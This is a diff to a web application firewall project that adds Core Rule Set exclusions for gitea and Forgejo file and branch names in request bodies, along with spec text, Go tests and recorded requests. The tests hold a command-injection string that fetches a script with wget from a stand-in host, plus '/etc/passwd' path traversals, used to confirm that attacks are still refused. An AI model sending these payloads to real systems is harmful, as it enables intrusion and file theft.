diff --git a/SPEC.md b/SPEC.md index c98afe0..fc6c01d 100644 --- a/SPEC.md +++ b/SPEC.md @@ -884,6 +884,34 @@ The changes hold in front of every app, and no setting undoes them: - to start a release from a tag; - to edit a branch protection rule; - to list a directory's last commits. + - A file or branch name in a body field: + - `tree_path` of the web editor's save, new file and delete, for system + files, Windows commands and command names (930120, 932120, 932260); + - `commit_summary` there, for system files and Windows commands (930120, + 932120); + - `content` there, the file's text, for a Unix command at the start of a + line (932235); + - `message` of a file created, changed or deleted through the API, for + system files and Windows commands (930120, 932120). + + Each field that names a branch skips the lists of Windows commands and + command names (932120, 932260): + - `new_branch_name` of the web editor's save, new file and delete, a new + branch for the commit; + - `new_branch_name` of a branch created on the web or through the API; + - `old_branch_name` and `old_ref_name` of a branch created through the + API, which name where it starts; + - `from` and `to` of a branch renamed on the web; + - `head` and `base` of a pull request opened through the API; + - `branch` and `new_branch` of a file created, changed or deleted + through the API. + + Names such as `docker-compose.yml`, `.htaccess`, `feat/docker-support` + and `fix-powershell-module` were refused. + `; wget http://example.com/x.sh` and path traversal are still refused in + these fields. These exclusions matter only while `SWW_WAF_BODY_LIMIT` is + set. None applies when the query has a parameter of the same name. + - The `Content-Range` header of an artifact upload from `actions/upload-artifact@v3` (920450). - The passwords in a body, for each rule that random passwords set off. The @@ -1589,11 +1617,13 @@ The changes hold in front of every app, and no setting undoes them: `/index.php/`. Elsewhere these fields keep every rule. An app other than Nextcloud that serves one of these paths must check these fields itself. -15. On Forgejo's paths, `q` on some of its searches skips the rules that refused - ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth - change applies to its requests too. This change holds only what Forgejo - sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each - rule and the search it refused. The searches are: +15. On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo + requests there. Forgejo is a fork of gitea, and the eighth change applies to + its requests too. This change holds only what Forgejo sends and gitea does + not. `internal/coreruleset/forgejo.conf` lists each rule and the request it + refused. + + `q` skips rules on some of Forgejo's searches. The searches are: - the search of a wiki, on `///wiki/search`; - the search of a repository's releases, on `///releases` and `/api/v1/repos///releases`; @@ -1624,6 +1654,12 @@ The changes hold in front of every app, and no setting undoes them: These paths are matched at the site root. An app other than Forgejo that serves one of them must check `q` and `Referer` itself. + Forgejo renames a branch at `///settings/rename_branch`, where + gitea uses `///branches/rename`. There, as on gitea's path, + `from` and `to` skip the lists of Windows commands and command names + (932120, 932260), which refused `fix-powershell-module` and + `feat/docker-support`. This matters only while `SWW_WAF_BODY_LIMIT` is set. + The parameter and cookie names in these changes are matched without regard to case, as Coraza matches them. diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index dee8ab8..3c1f466 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -1764,6 +1764,9 @@ const scriptTag = "" // pathTraversal is a path traversal, not escaped. const pathTraversal = "../../etc/passwd" +// shellCommand is commandInjection, not escaped. +const shellCommand = "; wget http://example.com/x.sh" + // readingBodies returns the Core Rule Set as sww runs it by // default, but reading bodies up to bodyLimit. func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { @@ -1969,6 +1972,126 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { wantBody(t, crs, post(multipart), attachment, matched(932180), attachment) } +// nameInBody is a name gitea or Forgejo sends in field of a body to path. +// contentType is formData or jsonBody. +type nameInBody struct{ path, contentType, field, name string } + +// giteaNamesInBodies returns names gitea and Forgejo send in a body field that +// skips the rules that refused them there. Each field that names a branch +// comes with a name for each rule it skips: feat/docker-support for the command +// names (932260), and fix-powershell-module for the Windows commands (932120). +func giteaNamesInBodies() []nameInBody { + const ( + repo = "/alice/tools" + api = "/api/v1/repos/alice/tools" + + // newBranchName names a new branch on several paths. + newBranchName = "new_branch_name" + ) + + // A file's path or text, or a commit's summary or message. + texts := []nameInBody{ + {repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"}, + {repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"}, + {repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"}, + {repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"}, + { + api + "/contents/scripts/powershell-build.ps1", jsonBody, + "message", "Add a PowerShell build script", + }, + {api + "/contents/.htaccess", jsonBody, "message", "Remove .htaccess"}, + } + + branchFields := []struct{ path, contentType, field string }{ + {repo + "/_edit/main/compose.yml", formData, newBranchName}, + {repo + "/_new/main/", formData, newBranchName}, + {repo + "/_delete/main/.htaccess", formData, newBranchName}, + {repo + "/branches/_new/branch/main", formData, newBranchName}, + {repo + "/branches/rename", formData, "from"}, + {repo + "/branches/rename", formData, "to"}, + // Forgejo's path for renaming a branch. + {repo + "/settings/rename_branch", formData, "from"}, + {repo + "/settings/rename_branch", formData, "to"}, + {api + "/branches", jsonBody, newBranchName}, + {api + "/branches", jsonBody, "old_branch_name"}, + {api + "/branches", jsonBody, "old_ref_name"}, + {api + "/pulls", jsonBody, "head"}, + {api + "/pulls", jsonBody, "base"}, + {api + "/contents/docs/notes.md", jsonBody, "branch"}, + {api + "/contents/docs/notes.md", jsonBody, "new_branch"}, + } + + branchNames := []string{"feat/docker-support", "fix-powershell-module"} + + names := make([]nameInBody, 0, len(texts)+len(branchFields)*len(branchNames)) + names = append(names, texts...) + + for _, branch := range branchFields { + for _, name := range branchNames { + names = append(names, + nameInBody{branch.path, branch.contentType, branch.field, name}) + } + } + + return names +} + +// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which +// gitea and Forgejo name a file or a branch. Each lets through the name that +// was refused there, and still refuses a shell command after a ";" and a path +// traversal. The same name is still refused in another field on the same path, +// and in the field itself when the query has a parameter of the field's name. +func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + crs := readingBodies(t) + + for _, tc := range giteaNamesInBodies() { + r := request{http.MethodPost, tc.path, []string{tc.contentType}} + + body := func(field, value string) string { + if tc.contentType == formData { + return field + "=" + url.QueryEscape(value) + } + + quoted, err := json.Marshal(map[string]string{field: value}) + if err != nil { + t.Fatal(err) + } + + return string(quoted) + } + + if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold { + t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got) + } + + if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold { + t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got) + } + + param := tc.field + if tc.contentType == jsonBody { + param = "json." + tc.field + } + + queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers} + + got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name)) + if got.Score < threshold { + t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got) + } + + for _, attack := range []string{shellCommand, pathTraversal} { + if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold { + t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got) + } + } + } +} + func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { t.Parallel() diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 0cc9074..6d9e446 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -218,7 +218,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { for _, attack := range []string{ injection, scriptTag, - `; wget http://example.com/x.sh`, + shellCommand, `../../sites/default/settings.php`, } { for _, field := range []string{"name", "mail"} { diff --git a/internal/coreruleset/forgejo.conf b/internal/coreruleset/forgejo.conf index 965786a..0f11aef 100644 --- a/internal/coreruleset/forgejo.conf +++ b/internal/coreruleset/forgejo.conf @@ -115,3 +115,17 @@ SecRule REQUEST_FILENAME \ ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q" + +# Forgejo renames a branch on its own path, where from and to name branches. +# They skip these rules: +# 932120: fix-powershell-module +# 932260: feat/docker-support +# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the +# query has a parameter of the same name. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \ + "id:900666,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:from,\ + ctl:ruleRemoveTargetById=932260;ARGS:from,\ + ctl:ruleRemoveTargetById=932120;ARGS:to,\ + ctl:ruleRemoveTargetById=932260;ARGS:to" diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf index 0be7135..7db58d9 100644 --- a/internal/coreruleset/gitea.conf +++ b/internal/coreruleset/gitea.conf @@ -315,6 +315,89 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \ "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl" +# The requests below name a file or a branch in a body field, which is read only +# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it. +# Each field that names a branch skips these rules: +# 932120: fix-powershell-module +# 932260: feat/docker-support +# None applies when the query has a parameter of the same name. + +# The web editor's save, new file and delete. The file's path, in tree_path, +# skips these rules: +# 930120: .htaccess +# 932120: scripts/install-script.sh +# 932260: docker-compose.yml +# The commit's summary, in commit_summary, skips these rules: +# 930120: Remove .htaccess +# 932120: Remove scripts/install-script.sh +# The file's text, in content, skips one rule: +# 932235: a line that starts with install +# A new branch for the commit is named in new_branch_name. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete)/" \ + "id:900660,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\ + ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\ + ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\ + ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\ + ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\ + ctl:ruleRemoveTargetById=932235;ARGS:content,\ + ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\ + ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name" + +# A branch created on the web, in new_branch_name. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \ + "id:900661,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:new_branch_name "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\ + ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name" + +# A branch renamed on the web, in from and to. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \ + "id:900662,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:from,\ + ctl:ruleRemoveTargetById=932260;ARGS:from,\ + ctl:ruleRemoveTargetById=932120;ARGS:to,\ + ctl:ruleRemoveTargetById=932260;ARGS:to" + +# A branch created through the API, in new_branch_name. It starts from the +# branch in old_branch_name, or the branch, tag or commit in old_ref_name. +SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \ + "id:900663,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name" + +# A pull request opened through the API, from the branch in head into the +# branch in base. +SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls$" \ + "id:900664,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.head,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.head,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.base,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.base" + +# A file created, changed or deleted through the API, on the branch in branch. +# A new branch for the commit is named in new_branch. The commit's message, in +# message, skips these rules: +# 930120: Remove .htaccess +# 932120: Add a PowerShell build script +SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents/" \ + "id:900665,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\ + ctl:ruleRemoveTargetById=930120;ARGS:json.message,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.message" + # An artifact upload from actions/upload-artifact@v3 sends the header # Content-Range, which the Core Rule Set refused (920450). SecRule REQUEST_FILENAME \ diff --git a/internal/coreruleset/recorded_test.go b/internal/coreruleset/recorded_test.go index 97ea0e7..b803497 100644 --- a/internal/coreruleset/recorded_test.go +++ b/internal/coreruleset/recorded_test.go @@ -150,9 +150,11 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) { } // TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the -// defaults only. While bodies are read, the Core Rule Set still refuses the -// file and branch names some of them carry in a form or JSON body, as it does -// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses). +// defaults only. While bodies are read, the Core Rule Set still refuses a new +// wiki page whose title and text name commands and files, as it does such text +// in gitea's comments (TestGiteaBodiesTheCoreRuleSetRefuses). The requests +// that name a file or a branch in a body are checked while bodies are read in +// TestForgejoNamesInBodiesPass. func TestOrdinaryForgejoRequestsPass(t *testing.T) { t.Parallel() @@ -168,6 +170,21 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) { } } +// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a +// file or a branch in a body, while bodies are read too. +func TestGiteaNamesInBodiesPass(t *testing.T) { + t.Parallel() + + wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt") +} + +// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo. +func TestForgejoNamesInBodiesPass(t *testing.T) { + t.Parallel() + + wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt") +} + func TestOrdinaryMastodonRequestsPass(t *testing.T) { t.Parallel() diff --git a/internal/coreruleset/testdata/forgejo-names-in-bodies.txt b/internal/coreruleset/testdata/forgejo-names-in-bodies.txt new file mode 100644 index 0000000..b9b6ae5 --- /dev/null +++ b/internal/coreruleset/testdata/forgejo-names-in-bodies.txt @@ -0,0 +1,28 @@ +# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which +# the Core Rule Set must let through while it reads bodies. They were recorded +# from a Forgejo driven by a headless Chrome, signed in, and by a script on the +# API. Each line is one request as JSON. Names, cookies and tokens are +# invented. The browser's User-Agent is an ordinary Chrome's. +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"} +{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"} +{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"} +{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"} +{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"} +{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"} +{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"} +{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": 